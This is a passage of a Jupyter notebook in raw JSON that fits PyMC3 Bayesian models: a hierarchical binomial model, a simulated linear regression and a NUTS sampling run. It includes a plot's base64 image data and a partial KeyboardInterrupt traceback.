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\n8v8BwAAux4ykmTwAAAAASUVORK5CYII=\n", "text/plain": [ "<matplotlib.figure.Figure at 0x12b8d0b50>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "def invlogit(v):\n", " return T.exp(v)/(T.exp(v) + 1)\n", "\n", "with pm.Model() as model_hier:\n", " s = pm.Uniform('s', 0, 1.0E+2)\n", " beta = pm.Normal('beta', 0, 1.0E+2)\n", " r = pm.Normal('r', 0, s, shape=len(Y))\n", " q = invlogit(beta+r)\n", " y = pm.Binomial('y', 8, q, observed=Y)\n", " \n", " step = pm.Slice([s, beta, r])\n", " trace_hier = pm.sample(1000, step)\n", " \n", "with model_hier:\n", " pm.traceplot(trace_hier, model_hier.vars)" ] }, { "cell_type": "code", "execution_count": 234, "metadata": { "collapsed": true }, "outputs": [], "source": [ "# Intialize random number generator\n", "np.random.seed(123)\n", "\n", "# True parameter values\n", "alpha, sigma = 1, 1\n", "beta = [1, 2.5]\n", "\n", "# Size of dataset\n", "size = 100\n", "\n", "# Predictor variable\n", "X1 = np.linspace(0, 1, size)\n", "X2 = np.linspace(0,.2, size)\n", "\n", "# Simulate outcome variable\n", "Y = alpha + beta[0]*X1 + beta[1]*X2 + np.random.randn(size)*sigma" ] }, { "cell_type": "code", "execution_count": 243, "metadata": { "collapsed": false }, "outputs": [], "source": [ "basic_model = Model()\n", "\n", "with basic_model:\n", "\n", " # Priors for unknown model parameters\n", " alpha = Normal('alpha', mu=0, sd=10)\n", " beta = Normal('beta', mu=0, sd=10, shape=2)\n", " sigma = HalfNormal('sigma', sd=1)\n", "\n", " # Expected value of outcome\n", " mu = alpha + beta[0]*X1 + beta[1]*X2\n", "\n", " # Likelihood (sampling distribution) of observations\n", " Y_obs = Normal('Y_obs', mu=mu, sd=sigma, observed=Y)" ] }, { "cell_type": "code", "execution_count": 241, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ " [-----------------100%-----------------] 10000 of 10000 complete in 3.7 sec" ] } ], "source": [ "x_sample = np.random.normal(loc=1.0, scale=1.0, size=1000)\n", "\n", "with pm.Model() as model:\n", "\tmu = pm.Normal('mu', mu=0., sd=0.1)\n", "\tx = pm.Normal('x', mu=mu, sd=1., observed=x_sample)\n", "\n", "with model:\n", "\tstart = pm.find_MAP()\n", "\tstep = pm.NUTS()\n", "\ttrace = pm.sample(10000, step, start)" ] }, { "cell_type": "code", "execution_count": 285, "metadata": { "collapsed": false }, "outputs": [ { "ename": "KeyboardInterrupt", "evalue": "", "output_type": "error", "traceback": [ "\u001b[0;31m---------------------------------------------------------------------------\u001b[0m", "\u001b[0;31mKeyboardInterrupt\u001b[0m Traceback (most recent call last)", "\u001b[0;32m<ipython-input-285-72532e73f473>\u001b[0m in \u001b[0;36m<module>\u001b[0;34m()\u001b[0m\n\u001b[1;32m 20\u001b[0m \u001b[0;32mwith\u001b[0m \u001b[0mmodel\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 21\u001b[0m \u001b[0mstart\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mpm\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mfind_MAP\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m---> 22\u001b[0;31m \u001b[0mstep\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mpm\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mNUTS\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 23\u001b[0m \u001b[0mtrace\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mpm\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0msample\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;36m10000\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mstep\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mstart\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 24\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;32m/Users/nigg/anaconda/lib/python2.7/site-packages/pymc3/step_methods/nuts.pyc\u001b[0m in \u001b[0;36m__init__\u001b[0;34m(self, vars, scaling, step_scale, is_cov, state, Emax, target_accept, gamma, k, t0, model, profile, **kwargs)\u001b[0m\n\u001b[1;32m 66\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 67\u001b[0m \u001b[0;32mif\u001b[0m \u001b[0misinstance\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mscaling\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mdict\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m---> 68\u001b[0;31m \u001b[0mscaling\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mguess_scaling\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mPoint\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mscaling\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mmodel\u001b[0m\u001b[0;34m=\u001b[0m\u001b[0mmodel\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mmodel\u001b[0m\u001b[0;34m=\u001b[0m\u001b[0mmodel\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mvars\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mvars\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 69\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 70\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;32m/Users/nigg/anaconda/lib/python2.7/site-packages/pymc3/tuning/scaling.pyc\u001b[0m in \u001b[0;36mguess_scaling\u001b[0;34m(point, vars, model)\u001b[0m\n\u001b[1;32m 79\u001b[0m \u001b[0;32mdef\u001b[0m \u001b[0mguess_scaling\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mpoint\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mvars\u001b[0m\u001b[0;34m=\u001b[0m\u001b[0mNone\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mmodel\u001b[0m\u001b[0;34m=\u001b[0m\u001b[0mNone\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 80\u001b[0m \u001b[0mmodel\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mmodelcontext\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mmodel\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m---> 81\u001b[0;31m \u001b[0mh\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mfind_hessian_diag\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mpoint\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mvars\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mmodel\u001b[0m\u001b[0;34m=\u001b[0m\u001b[0mmodel\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 82\u001b[0m \u001b[0;32mreturn\u001b[0m \u001b[0madjust_scaling\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mh\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 83\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;32m/Users/nigg/anaconda/lib/python2.7/site-packages/pymc3/tuning/scaling.pyc\u001b[0m in \u001b[0;36mfind_hessian_diag\u001b[0;34m(point, vars, model)\u001b[0m\n\u001b[1;32m 74\u001b[0m \"\"\"\n\u001b[1;32m 75\u001b[0m \u001b[0mmodel\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mmodelcontext\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mmodel\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m---> 76\u001b[0;31m \u001b[0mH\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mmodel\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mfastfn\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mhessian_diag\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mmodel\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mlogpt\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mvars\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 77\u001b[0m \u001b[0;32mreturn\u001b[0m \u001b[0mH\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mPoint\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mpoint\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mmodel\u001b[0m\u001b[0;34m=\u001b[0m\u001b[0mmodel\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 78\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;32m/Users/nigg/anaconda/lib/python2.7/site-packages/pymc3/memoize.pyc\u001b[0m in \u001b[0;36mmemoizer\u001b[0;34m(*args, **kwargs)\u001b[0m\n\u001b[1;32m 12\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 13\u001b[0m \u001b[0;32mif\u001b[0m \u001b[0mkey\u001b[0m \u001b[0;32mnot\u001b[0m \u001b[0;32min\u001b[0m \u001b[0mcache\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m---> 14\u001b[0;31m \u001b[0mcache\u001b[0m\u001b[0;34m[\u001b[0m\u001b[0mkey\u001b[0m\u001b[0;34m]\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mobj\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;34m*\u001b[0m\u001b[0margs\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0;34m**\u001b[0m\u001b[0mkwargs\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 15\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 16\u001b[0m \u001b[0;32mreturn\u001b[0m \u001b[0mcache\u001b[0m\u001b[0;34m[\u001b[0m\u001b[0mkey\u001b[0m\u001b[0;34m]\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;32m/Users/nigg/anaconda/lib/python2.7/site-packages/pymc3/theanof.pyc\u001b[0m in \u001b[0;36mhessian_diag\u001b[0;34m(f, vars)\u001b[0m\n\u001b[1;32m 101\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 102\u001b[0m \u001b[0;32mif\u001b[0m \u001b[0mvars\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m--> 103\u001b[0;31m \u001b[0;32mreturn\u001b[0m \u001b[0;34m-\u001b[0m\u001b[0mt\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mconcatenate\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;34m[\u001b[0m\u001b[0mhessian_diag1\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mf\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mv\u001b[0m\u001b[0;34m)\u001b[0m \u001b[0;32mfor\u001b[0m \u001b[0mv\u001b[0m \u001b[0;32min\u001b[0m \u001b[0mvars\u001b[0m\u001b[0;34m]\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0maxis\u001b[0m\u001b[0;34m=\u001b[0m\u001b[0;36m0\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 104\u001b[0m \u001b[0;32melse\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 105\u001b[0m \u001b[0;32mreturn\u001b[0m \u001b[0mempty_gradient\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n", "\u001b[0;32m/Users/nigg/anaconda/lib/python2.7/site-packages/pymc3/theanof.pyc\u001b[0m in \u001b[0;36mhessian_diag1\u001b[0;34m(f, v)\u001b[0m\n\u001b[1;32m 86\u001b[0m \u001b[0;32mdef\u001b[0m \u001b[0mhessian_diag1\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mf\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mv\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 87\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m---> 88\u001b[0;31m \u001b[0mg\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mgradient1\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mf\u001b[0m\u001b[0;34m,\u001b[0m \u001b[0mv\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m\u001b[1;32m 89\u001b[0m \u001b[0midx\u001b[0m \u001b[0;34m=\u001b[0m \u001b[0mt\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0marange\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0mg\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0mshape\u001b[0m\u001b[0;34m[\u001b[0m\u001b[0;36m0\u001b[0m\u001b[0;34m]\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 90\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n", 